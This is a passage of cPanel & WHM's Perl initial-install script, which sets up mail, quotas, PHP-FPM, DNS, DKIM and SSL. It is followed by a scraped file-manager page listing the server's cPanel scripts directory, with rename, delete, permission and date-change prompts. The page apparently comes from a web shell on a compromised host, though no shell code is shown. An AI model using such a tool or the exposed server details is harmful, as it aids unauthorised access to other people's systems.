=> $initial_config->{$_} } grep { defined $initial_config->{$_} } keys %{$initial_config}; # Fill the config with default values for any we don't already have # We don't want to step on any values already setup in the config file Whostmgr::TweakSettings::load_module('Mail'); my $mail_conf; { no warnings 'once'; $mail_conf = Whostmgr::TweakSettings::Mail::get_conf(); # PPI NO PARSE - loaded with load_module } # Once Whostmgr::TweakSettings::Configure::Mail implements a save # function we can get rid of this and just use the save via # Whostmgr::TweakSettings::apply_module_settings foreach my $key ( sort keys %{$mail_conf} ) { # Don't overwrite initial values next if exists $config{$key}; my $section; { no warnings 'once'; $section = $Whostmgr::TweakSettings::Mail::Conf{$key}; } next unless exists $section->{'default'}; # Start with the default value my $value = $section->{'default'}; # Execute if it is a code ref rather than an actual value $value = $value->() if ref $value eq 'CODE'; $config{$key} = $value; # Some of these have actions to trigger creation of touch-files or symlinks # See that the action gets run if ( exists $section->{'action'} and ref $section->{'action'} eq 'CODE' ) { # Pass the value as both the new value and the old value since this is to # be the initial value and we don't want to trigger running updateuserdomains multiple times $section->{'action'}->( $value, $value ); } } # Write out all settings my $rc = Cpanel::Config::FlushConfig::flushConfig( '/etc/exim.conf.localopts', \%config, undef, undef, { 'sort' => 1 } ); WARN('Error writing exim default configuration options to: /etc/exim.conf.localopts') unless $rc; return; } sub os_service_restart { my $service = shift or die; DEBUG("Restarting service $service"); Cpanel::Init::Simple::call_cpservice_with( $service => qw/restart/ ); return; } sub cpanel_account_restore { my $acct_restore_file = '/etc/cpanelacctrestore'; return if ( !-e $acct_restore_file ); INFO("Restoring Accounts."); sleep(2); if ( open( my $fh, '<', $acct_restore_file ) ) { while (<$fh>) { s/\n//g; DEBUG("Restoring $_"); Cpanel::Install::Utils::Command::ssystem( "/usr/local/cpanel/scripts/restorepkg", "$_" ); } close($fh); } else { WARN("Failed to open $acct_restore_file: $!"); } return unlink($acct_restore_file); } sub enable_cphulkd { my $conf_dir = '/var/cpanel/hulkd'; INFO("Enabling cphulkd ..."); mkdir "$conf_dir", 0755 unless -e "$conf_dir"; if ( Whostmgr::Services::enable('cphulkd') ) { # Set up monitoring by default. Cpanel::Chkservd::Manage::enable('cphulkd'); INFO("Done"); } else { WARN("Unable to enable cphulkd"); } return; } sub enable_quotas { INFO("Enabling quotas ..."); my $old_umask = umask(0077); # Case 92381: Logs should not be world-readable. open( my $fh, ">", _enable_quotas_log() ) || WARN("Unable to open log file for enabling quotas."); umask($old_umask); my $quotas_run = Cpanel::SafeRun::Object->new( program => "/usr/local/cpanel/scripts/fixquotas", stdout => $fh, stderr => $fh, ); my $needs_reboot = Cpanel::Quota::Utils::reboot_required(); WARN( $quotas_run->autopsy() ) if !$needs_reboot && $quotas_run->CHILD_ERROR(); if ($needs_reboot) { WARN("You must reboot the server after you enable quotas."); } INFO("Done"); return; } sub hide_feature_showcase { INFO("Disabling feature showcase ..."); my $drivers = Cpanel::Config::ConfigObj::get_available_drivers( 1, 1 ); my $showcase = Cpanel::FeatureShowcase->new(); my @features = $showcase->get_feature_showcase_names(); push @features, keys %{$drivers}; return unless scalar @features; $showcase->mark_features_as_viewed( $Cpanel::FeatureShowcase::SOURCE_GUI, @features ); INFO("Done"); return; } sub _enable_quotas_log { return "/var/log/quota_enable.log"; } sub notify_if_boot_kernel_changed { my $boot_kernel = eval { Cpanel::Kernel::GetDefault::get() } // ''; WARN($@) if $@; my $current_kernel = Cpanel::Kernel::get_running_version() // ''; return if $current_kernel eq $boot_kernel; WARN("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); WARN("Your system kernel may have been updated."); WARN("Current kernel ($current_kernel) has been changed to: $boot_kernel"); WARN("Before rebooting the system, please ensure that the installed kernel version is compatible with your deployment."); if ( Cpanel::OS::is_cloudlinux() ) { WARN(" "); WARN(" ************************************************************************************************************"); WARN(" "); WARN(" NOTE: Because this is a Cloud Linux install, cPanel WILL NOT BE FULLY FUNCTIONAL until you reboot. "); WARN(" "); WARN(" ************************************************************************************************************"); WARN(" "); } WARN("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); return; } sub open_logs { my $log_file = '/var/log/cpanel-install.log'; $ENV{'TZ'} = Cpanel::Timezones::calculate_TZ_env(); Cpanel::Install::Utils::Logger::init($log_file); return; } sub os_service_stop { my $service = shift or die; DEBUG("Ensuring service $service is not running"); local $@; # Do not warn since many of these may not be installed eval { local $SIG{'__WARN__'} = sub { return; }; Cpanel::Init::Simple::call_cpservice_with( $service => qw/stop/ ); }; # Even if the init script doesn't exist, try to kill the service. if ( Cpanel::Install::Utils::Command::ssystem( 'killall', '-q', $service ) == 0 ) { Cpanel::Install::Utils::Command::ssystem( 'killall', '-q', '-9', $service ); DEBUG("Killed $service"); } return; } sub touch { ## no critic qw(RequireArgUnpacking) my $file = shift; open( my $fh, ">>", $file ) or return; print {$fh} ''; # Must send something to the file or it doesn't save foreach my $line (@_) { # concat anything passed into the subroutine. print {$fh} $line; } close $fh; return; } sub usage { my $prog = $0; $prog =~ s{^.+/(.+)$}{$1}; print "This script should not be called manually.\n"; exit; ## no critic qw(Cpanel::NoExitsFromSubroutines) -- pre-existing code; protects against manual invocation } sub disable_and_remove_init_services { INFO("Disabling unneeded services..."); my @service_shutdown = qw(named); push @service_shutdown, qw(smail sendmail postfix master httpd apache wu-ftpd inetd) if ( !Cpanel::Server::Type::is_dnsonly() ); Cpanel::NSCD::Log::disable_logging(); INFO("Stopping services:"); foreach my $service (@service_shutdown) { os_service_stop($service); } # p0f should be disabled on new installs Whostmgr::Services::disable('p0f'); return; } sub get_howto { my $version = ''; if ( open( my $fh, "<", "/usr/local/cpanel/version" ) ) { $version = <$fh>; $version =~ s/^(\d+\.\d+).*/$1/gs; } my $map = { version => $version, ip => _get_public_ip(), }; return _howto_message($map); } sub display_howto { foreach my $line ( split( "\n", get_howto() ) ) { INFO($line); } return; } sub save_system_config_at_install_for_analytics { my $data = { 'hostname' => '', ## Add more data here }; eval { require Cpanel::JSON; require Cpanel::Analytics; require Cpanel::Sys::Hostname; require Cpanel::Analytics::Config; $data->{'hostname'} = Cpanel::Sys::Hostname::gethostname(1); Cpanel::Analytics::prerequisites(); Cpanel::JSON::DumpFile( Cpanel::Analytics::Config::ANALYTICS_DATA_DIR() . '/system_config_at_install.json', $data ); }; return; } sub _howto_message { my $map = shift; my $login_url = Cpanel::SafeRun::Object->new( 'program' => "/usr/local/cpanel/scripts/whmlogin" )->stdout(); chomp $login_url; return <<EOM; \e[0;36;40mCongratulations! Your installation of cPanel & WHM $map->{version} is now complete. The next step is to configure your server. \e[0m Before you configure your server, ensure that your firewall allows access on port 2087. After ensuring that your firewall allows access on port 2087, you can configure your server. 1. Open your preferred browser 2. Navigate to the following url using the address bar and enter this one-time autologin url: $login_url After the login url expires you generate a new one using the 'whmlogin' command or manually login at: https://$map->{ip}:2087 Visit https://go.cpanel.net/whminit for more information about first-time configuration of your server. Visit http://support.cpanel.net or https://go.cpanel.net/allfaq for additional support Thank you for installing cPanel & WHM $map->{version}! EOM } sub _get_public_ip { require Cpanel::DIp::MainIP; require Cpanel::NAT; return Cpanel::NAT::get_public_ip( Cpanel::DIp::MainIP::getmainip() ); } sub cpanel_config_actions { return qw/ allow_login_autocomplete apache_port dormant_services email_send_limits_count_mailman email_send_limits_defer_cutoff emailsperdaynotify enablecompileroptimizations eximmailtrap jailmountbinsuid jailmountusrbinsuid jailprocmode maxemailsperhour nobodyspam popbeforesmtpsenders signature_validation skipbwlimitcheck skipparentcheck userdirprotect securetmp_file_size /; } sub cpanel_config_post_actions { return qw/ allow_deprecated_accesshash api_shell conserve_memory domainowner_mail_pass email_send_limits_min_defer_fail_to_trigger_protection enablefileprotect exim-retrytime invite_sub phploader popbeforesmtp resetpass resetpass_sub skipanalog skipawstats skipwebalizer ssl_default_key_type smtpmailgidonly usemysqloldpass /; } # This subroutine helps document what action and post_action subs need to be run during a fresh install. # A unit test will go off if you add a new one and don't update one of these subs sub cpanel_config_ignored_actions { # Post actions my @ignore = qw/ apache_ssl_port allow_login_autocomplete autodiscover_proxy_subdomains ipv6_listen proxysubdomains autoupdate_certificate_on_hostname_mismatch /; # Actions push @ignore, qw/allow_server_info_status_from autodiscover_host chkservd_check_interval jailapache skipdiskusage system_diskusage_critical_percent system_diskusage_warn_percent tcp_check_failure_threshold/; # build_global_cache run by cpkeyclt push @ignore, qw/allowcpsslinstall display_cpanel_doclinks display_cpanel_promotions/; # rebuild httpd.conf not required push @ignore, qw/enable_piped_logs/; # MySQL restart is not required push @ignore, qw/ mycnf_auto_adjust_innodb_buffer_pool_size mycnf_auto_adjust_maxallowedpacket mycnf_auto_adjust_openfiles_limit /; # phpini and php_fpm already handled push @ignore, qw/ php_max_execution_time php_memory_limit php_post_max_size php_upload_max_filesize /; push @ignore, qw/ debughooks disable_cphttpd disk_usage_include_mailman disk_usage_include_sqldbs emailarchive pma_disableis requiressl server_locale skipboxtrapper skipmailman skipspamassassin skipspambox ssh_host_key_checking usemailformailmanurl xframecpsrvd /; return @ignore; } sub do_cpanel_config_touch_files { my $cp_config = scalar Cpanel::Config::LoadCpConf::loadcpconf(); Whostmgr::TweakSettings::load_module('Main'); my $tweak_conf; { no warnings 'once'; $tweak_conf = \%Whostmgr::TweakSettings::Main::Conf; } # Block task queueing during a fresh install. no warnings 'redefine'; local *Cpanel::ServerTasks::schedule_task = sub { }; # These actions expect a hash not a string to be passed in. $cp_config->{'dormant_services'} = { map { $_ => 1 } split /\s*,\s*/, $cp_config->{'dormant_services'} }; $tweak_conf->{'dormant_services'}{'value'} = sub { {} }; $cp_config->{'phploader'} = { map { $_ => 1 } split( /,/, $cp_config->{'phploader'} ) }; # Walk all the actions. foreach my $key ( cpanel_config_actions() ) { next if ( !exists $cp_config->{$key} ); next if ( !$tweak_conf->{$key} ); next if ( ref $tweak_conf->{$key}->{'action'} ne 'CODE' ); DEBUG("Running defined action for cpanel.config key $key"); $tweak_conf->{$key}->{'action'}->( $cp_config->{$key} ); } # Walk all the post actions. foreach my $key ( cpanel_config_post_actions() ) { next if ( !exists $cp_config->{$key} ); next if ( !$tweak_conf->{$key} ); next if ( ref $tweak_conf->{$key}->{'post_action'} ne 'CODE' ); DEBUG("Running defined post_action for cpanel.config key $key"); $tweak_conf->{$key}->{'post_action'}->( $cp_config->{$key}, undef, 1 ); } return; } sub _run_in_background ( $code, $desc = '' ) { if ($run_tasks_in_main_process) { # fork and wait for the job: do not leak anything to the main processs... return _run_and_wait_in_background( $code, $desc ); } return __fork_and_run( $code, $desc ); } sub _run_and_wait_in_background ( $code, $desc = '', %opts ) { my $pid = __fork_and_run( $code, $desc ) or return; $opts{verbose} //= 0; return _wait_for_background_pids( { $pid => 1 }, %opts ); } sub __fork_and_run ( $code, $desc = '' ) { my $pid = Cpanel::ForkAsync::do_in_child( sub { local $0 = "cpanel_initial_install - $desc"; my $status = $code->() // 0; return $status; } ); $background_pids{$pid} = $desc; return $pid; } sub _wait_for_background_tasks_to_finish (@pids) { return 1 unless scalar @pids; my $verbose = 1; my %pids_to_check = map { $_ => 1 } @pids; while (1) { last unless _wait_for_background_pids( \%pids_to_check, verbose => $verbose ); $verbose = 0; my $total_pids = scalar keys %pids_to_check; last unless $total_pids; _show_wait_for("$total_pids background tasks"); Cpanel::TimeHiRes::sleep(0.25); } return 1; } sub _wait_for_background_pids ( $pids_to_check_hr, %opts ) { return 1 if $run_tasks_in_main_process; my @pids = sort keys %$pids_to_check_hr; return unless scalar @pids; # nothing to wait for my $verbose = delete $opts{verbose} // 1; DEBUG("_wait_for_background_pids: @pids") if $verbose; $opts{stop_on_failure} //= 1; # default my $stop_on_failure = delete $opts{stop_on_failure}; FATAL( "Unknown arguments: " . join( ', ', sort keys %opts ) ) if scalar keys %opts; foreach my $pid (@pids) { my $waitpid_result = waitpid( $pid, $Cpanel::Wait::Constants::WNOHANG ); if ( $waitpid_result != 0 ) { if ( $waitpid_result > 0 ) { # -1 means its already dead and $? is not set my $exit_code = $?; if ( $exit_code != 0 ) { my $child_error_msg = Cpanel::ChildErrorStringifier->new($?)->autopsy(); my $error_type = $stop_on_failure ? 'a fatal error' : 'a warning'; my $msg = "The background process “$background_pids{$pid}” failed with $error_type: $child_error_msg"; if ($stop_on_failure) { kill 'TERM', keys %background_pids; FATAL($msg); } else { WARN($msg); } } } DEBUG("Process: $pid - $background_pids{$pid} has finished."); delete $background_pids{$pid}; delete $pids_to_check_hr->{$pid}; } } return 1; } # If a server has 2GB+ ram, we now enable PHP-FPM by default for new accounts sub set_up_php_fpm_by_default { require Cpanel::PHPFPM::Config; Cpanel::PHPFPM::Config::set_default_accounts_to_fpm(1) if Cpanel::PHPFPM::Config::should_default(); { # enforce the creation of /var/cpanel/php-fpm.d require Cpanel::Server::FPM::Manager; local $@; eval { Cpanel::Server::FPM::Manager::sync_config_files(); } or warn $@; } # customer decides in feature showcase Cpanel::Chkservd::Manage::disable('cpanel_php_fpm'); Whostmgr::Services::disable('cpanel_php_fpm'); return; } sub _setup_dns_and_dkim { { require Whostmgr::ACLS; require Whostmgr::Hostname::DNS; local $ENV{'REMOTE_USER'} = 'root'; Whostmgr::ACLS::init_acls(); my ( $status, $statusmsg, $statuscode ) = Whostmgr::Hostname::DNS::ensure_dns_for_hostname(); Whostmgr::ACLS::clear_acls(); if ( !$status && $statuscode && $statuscode == Cpanel::DnsUtils::Add::STATUS_NO_NSS_CONFD() ) { # If there are no nameservers setup this will fail # and that is expected. In this case the hostname # change will triger the A entry and DKIM # add via Whostmgr::Hostname return; } warn $statusmsg if !$status && length $statusmsg; } { require Cpanel::DKIM; require Cpanel::Hostname; my $hostname = Cpanel::Hostname::gethostname(1); if ( !Cpanel::DKIM::get_domain_private_key($hostname) ) { require Cpanel::DKIM::Transaction; my $dkim = Cpanel::DKIM::Transaction->new(); # We do not care about failures here since # we expect they won't control DNS most of # the time for the hostname. $dkim->set_up_user_domains( 'root', [$hostname] ); $dkim->commit(); } } return; } sub restart_services_and_run_all_tasks_in_queue { return Cpanel::Daemonizer::Tiny::run_as_daemon( sub { local $ENV{CPANEL_BASE_INSTALL} = 0; open( STDERR, '>>', '/usr/local/cpanel/logs/error_log' ) or die "Could not redirect STDERR to /usr/local/cpanel/logs/error_log: $!"; open( STDOUT, '>&=', \*STDERR ); ## no critic(InputOutput::RequireCheckedOpen) Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_cpsrvd}); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_queueprocd}); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_apache_php_fpm}); say "[$$] Flushing task queue."; system(qw{/usr/local/cpanel/bin/servers_queue run}); say "[$$] Completed flushing task queue."; say "[$$] Done."; return; } ); } sub _run_tasks_that_must_wait_until_deferred_are_installed { { require '/usr/local/cpanel/scripts/fixquotas'; ## no critic qw(RequireBarewordIncludes) Scripts::FixQuotas::_install_quota_packages_conditional_if_needed(); } return _run_in_background( sub { # Enable services for startup. # TODO: Add chkconfig to RPM spec entries and remove this code. my @services = qw/cpanel sshd nscd/; INFO('Adding services to startup.'); foreach my $service (@services) { INFO(" - Enabling $service"); Cpanel::Init::Simple::call_cpservice_with( $service => qw/enable/ ); } # enable cphulkd by default enable_cphulkd(); # enable quotas by default except on DNSONLY systems enable_quotas() unless Cpanel::Server::Type::is_dnsonly(); INFO("Automatically enabling features"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/ensure_autoenabled_features --run}); # mark features as shown, so no feature showcase is # seen on new installs hide_feature_showcase(); # This does not need MySQL to be installed yet INFO("Update phpMyAdmin configuration"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/bin/update_phpmyadmin_config --force}); # do roundcube finishing touches # run_roundcube_ifnecessary(); # deferred Exim RPM installation overwrote changes to /etc/sysconfig/exim, so restore those: require Whostmgr::Exim::Sysconfig; my $cp_config = scalar Cpanel::Config::LoadCpConf::loadcpconf(); Whostmgr::Exim::Sysconfig::update_sysconfig( $cp_config->{'exim-retrytime'} ) if defined $cp_config->{'exim-retrytime'}; # Setup cPanelID setup_openidconnect_for_cpanelid(); return 0; }, "Apps that require deferred packages" ); } sub _run_webserver_post_install_and_ssl_cert_check_in_background { return _run_in_background( sub { # We Start cpsrvd and httpd because there may be a license type change in the middle # of the install # # If the WebServer is disabled then checkallsslcerts will be doing HTTP DCV with cpsrvd Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_cpsrvd --force}); # If the WebServer is not disabled then checkallsslcerts will be doing HTTP DCV with httpd Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/restartsrv_httpd --force}); # Since we wait for the apache install to finish # we do this after _wait_for_background_tasks_to_finish on $ea4_or_universal_hooks_install_pid # Enable PHP-FPM by default for new accounts on systems with 2GB+ ram set_up_php_fpm_by_default(); # Now that apache is up we can try to get an ssl certificate Cpanel::Install::LetsEncrypt::install_and_activate(); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/bin/checkallsslcerts --verbose}); # Try again to get an ssl certificate to decrease the chances that # their first WHM login is to an insecure page. warn if !eval { Cpanel::ServerTasks::schedule_task( ['SSLTasks'], 60, 'checkallsslcerts --retry' ); 1 }; # sanity fix existing zones on the server warn if !eval { Cpanel::ServerTasks::schedule_task( ['ScriptTasks'], 1, 'run_script /usr/local/cpanel/scripts/fix_dns_zone_ttls --fix' ); 1 }; return 0; }, 'WebServer post install and SSL certificate check' ); } sub _run_tasks_that_can_be_done_after_updatenow_in_the_background { return _run_in_background( sub { DEBUG("Starting tasks_that_can_be_done_after_updatenow_in_the_background"); # We do these in a background on initial install # while we are waiting for upcp my @pre_maint = ( # CPANEL-26289: ensure en is available right away after install finishes ['/usr/local/cpanel/bin/hulkdsetup'], [ '/usr/local/cpanel/bin/build_locale_databases', '--locale=en' ], [ '/usr/local/cpanel/scripts/autorepair', 'autorepair' ], [ '/usr/local/cpanel/scripts/manage_greylisting', '--init', '--update_common_mail_providers' ], ['/usr/local/cpanel/bin/setupdbmap'], [ '/usr/local/cpanel/scripts/check_maxmem_against_domains_count', '--always-fix' ], ['/usr/local/cpanel/scripts/fixetchosts'], [ '/usr/local/cpanel/scripts/litespeed-check', '--run' ], [qw{/usr/local/cpanel/bin/install-login-profile --install cpanel-user-commands}], ); foreach my $cmd (@pre_maint) { DEBUG("Task after updatenow: @$cmd"); Cpanel::Install::Utils::Command::ssystem(@$cmd); } for my $cmd ( 'migrate_tweak_settings', 'legacy_cfg_installer', 'register_hooks', 'build_userdata_cache', ) { DEBUG("Task after updatenow: $cmd"); Cpanel::Install::Utils::Command::ssystem("/usr/local/cpanel/bin/$cmd"); } my $eximdb_run = Cpanel::SafeRun::Object->new( program => $^X, args => [ '-MCpanel::EximStats::ConnectDB', '-e' => 'Cpanel::EximStats::ConnectDB::dbconnect()', ], stdout => \*STDOUT, stderr => \*STDERR, ); warn $eximdb_run->autopsy() if $eximdb_run->CHILD_ERROR(); return 0; }, 'Background install tasks', ); } # We do not want to start the yum install of MySQL until cPanel has # started installing RPMs because as soon as yum gets the lock it will # block the rpm install which will defeat the performance improvement of # downloading rpms via yum while rpm is installing the cPanel provided rpms # # We also do not want to start the yum install until the background download # has finished in order to ensure we do not end up downloading the rpms 2x # because the background download was not yet finished sub _wait_for_mysql_to_be_downloaded { my $verbose = 1; while (1) { if ( -e $mysql_rpm_download_complete_file ) { unlink $mysql_rpm_download_complete_file; return; } _show_wait_for("MySQL package download to begin installing packages"); last unless _wait_for_background_pids( {%background_pids}, verbose => $verbose ); Cpanel::TimeHiRes::sleep(0.25); $verbose = 0; } return; } sub _wait_for_ea4_profiles_to_be_installed { my $verbose = 1; while (1) { _show_wait_for("EA4 profiles to be installed"); last unless _wait_for_background_pids( {%background_pids}, verbose => $verbose ); return if -s "/usr/local/bin/ea_install_profile"; Cpanel::TimeHiRes::sleep(0.25); $verbose = 0; } return 1; } sub _wait_for_ea4_to_be_installed { my $verbose = 1; while (1) { return if -s "/usr/sbin/httpd"; _show_wait_for("EA4 to be installed"); last unless _wait_for_background_pids( {%background_pids}, verbose => $verbose ); Cpanel::TimeHiRes::sleep(0.25); $verbose = 0; } return 1; } sub _show_wait_for ( $blocking_proc_text = undef ) { state $last_message; state $last_time; if ( $blocking_proc_text && $last_message && $last_message eq $blocking_proc_text ) { return if time() - $last_time < 30; # only display every 30 sec the same message... } $last_message = $blocking_proc_text; $last_time = time(); INFO( "Waiting for (" . join( ', ', ( $blocking_proc_text ? "[$blocking_proc_text]" : () ), sort values %background_pids ) . ")." ); return; } sub _shutdown_cpanel_services { INFO("Making sure cPanel processes are not running"); # If the cpsrvd binary isn't in place we haven't installed # binaries yet so there is no need to proceed. return if !-e '/usr/local/cpanel/cpsrvd'; foreach my $app (qw(cpsrvd cpdavd cphulkd)) { if ( Cpanel::Services::Running::is_online($app) ) { Cpanel::Install::Utils::Command::ssystem( '/usr/local/cpanel/etc/init/stop' . $app ); } } return; } sub _install_yum_universal_hooks_in_background { #On DNSONLY we need EA4's yum-universal-plugins package to fix mysql, etc. # return _run_in_background( sub { # XXX TODO following short circuit will be removed later once we have EA4 sorted for ubuntu return 0 unless Cpanel::OS::is_yum_based(); INFO("Installing YUM universal hooks..."); if ( !Cpanel::Install::Utils::Packaged::install_needed_packages('yum-plugin-universal-hooks') ) { FATAL("Failed to install “yum-plugin-universal-hooks”"); } return 0; }, 'Install YUM universal hooks' ); } sub _install_ea4_in_background { return _run_in_background( sub { INFO("Installing EA4"); Cpanel::Install::EA4::setup_config_and_fs_for_ea4(); if ( !Cpanel::Install::EA4::install_apache() ) { FATAL("Failed to install EA4"); } return 0; }, 'EA4 Install', ); } sub _defer_targets { my $rpm_file = Cpanel::RPM::Versions::File->new(); foreach my $target ( keys %targets_to_defer_to_after_first_upcp ) { my $value = $rpm_file->target_settings($target) || ''; if ( $value ne 'uninstalled' ) { $targets_to_defer_to_after_first_upcp{$target} = 1; INFO("Marking $target to be uninstalled"); $rpm_file->set_target_settings( { 'key' => [$target], 'value' => 'uninstalled' } ); } else { INFO("$target is already set to uninstalled ($value)"); } } $rpm_file->save(); return; } sub _install_deferred_targets { my $rpm_file = Cpanel::RPM::Versions::File->new(); my $has_targets_to_install = 0; foreach my $target ( keys %targets_to_defer_to_after_first_upcp ) { if ( $targets_to_defer_to_after_first_upcp{$target} ) { $has_targets_to_install = 1; $rpm_file->delete_target_settings( { 'key' => [$target], 'value' => 'uninstalled' } ); } } if ($has_targets_to_install) { $rpm_file->save(); undef $rpm_file; INFO("Installing deferred targets"); Cpanel::Install::Utils::Command::ssystem(qw{/usr/local/cpanel/scripts/check_cpanel_pkgs --fix --no-broken --no-digest}); } return; } 1;
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-26 11:00:34
..
DIR
-
drwx--x--x
2025-10-26 11:27:15
cpan_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
php_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
MirrorSearch_pingtest
text/x-perl
2.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
activesync-invite-reply
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
add_dns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
adddns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
addpop
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
addsystemuser
text/x-perl
3.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
adduser
text/x-perl
92 B
-rwxr-xr-x
2024-03-04 05:44:29
agent360.sh
16.03 KB
-rwx------
2025-09-17 09:17:37
apachelimits
text/x-perl
4.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
archive_sync_zones
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
auto-adjust-mysql-limits
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
autorepair
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_clean_metadata_for_missing_backups
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_create_metadata
text/x-perl
15.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_list_user_files
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
balance_linked_node_quotas
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
biglogcheck
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_bandwidthdb_root_cache_in_background
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_cpnat
text/x-perl
3.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_mail_sni
text/x-perl
3.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_maxemails_config
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
builddovecotconf
text/x-perl
6.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildeximconf
text/x-perl
7 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildpureftproot
text/x-perl
539 B
-rwxr-xr-x
2024-03-04 05:44:29
ccs-check
text/x-perl
4.91 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_cpanel_pkgs
text/x-perl
10.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_domain_tls_service_domains.pl
text/x-perl
6.68 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_immutable_files
text/x-perl
5.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mail_spamassassin_compiledregexps_body_0
text/x-perl
187 B
-rwxr-xr-x
2024-03-04 05:44:29
check_maxmem_against_domains_count
text/x-perl
3.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mount_procfs
text/x-perl
2.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mysql
text/x-perl
5.56 KB
-rwxr-xr-x
2024-12-10 10:57:18
check_plugin_pkgs
text/x-perl
2.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_security_advice_changes
text/x-perl
8.28 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unmonitored_enabled_services
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unreliable_resolvers
text/x-perl
3.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_users_my_cnf
text/x-perl
6.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_valid_server_hostname
text/x-perl
7.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkalldomainsmxs
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkbashshell
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkccompiler
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkexim.pl
text/x-perl
3.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
checklink
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkusers
text/x-perl
856 B
-rwxr-xr-x
2024-03-04 05:44:29
chkpaths
text/x-perl
141 B
-rwxr-xr-x
2024-03-04 05:44:29
chpass
text/x-perl
416 B
-rwxr-xr-x
2024-03-04 05:44:29
ckillall
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_dead_mailman_locks
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_up_temp_wheel_users
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_user_php_sessions
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns
text/x-perl
13.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns8
text/x-perl
417 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanmsglog
text/x-perl
735 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions
text/x-perl
932 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions.php
text/x-php
658 B
-rw-r--r--
2024-03-04 05:44:29
cleanquotas
text/x-perl
1.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleansessions
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupinterchange
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupmysqlprivs
text/x-shellscript
773 B
-rwxr-xr-x
2025-02-24 10:57:16
clear_cpaddon_ui_caches
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
clear_orphaned_virtfs_mounts
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
comparecdb
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilers
text/x-perl
2.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilerscheck
text/x-perl
999 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_ipv6_firewall_for_cpanel
text/x-perl
520 B
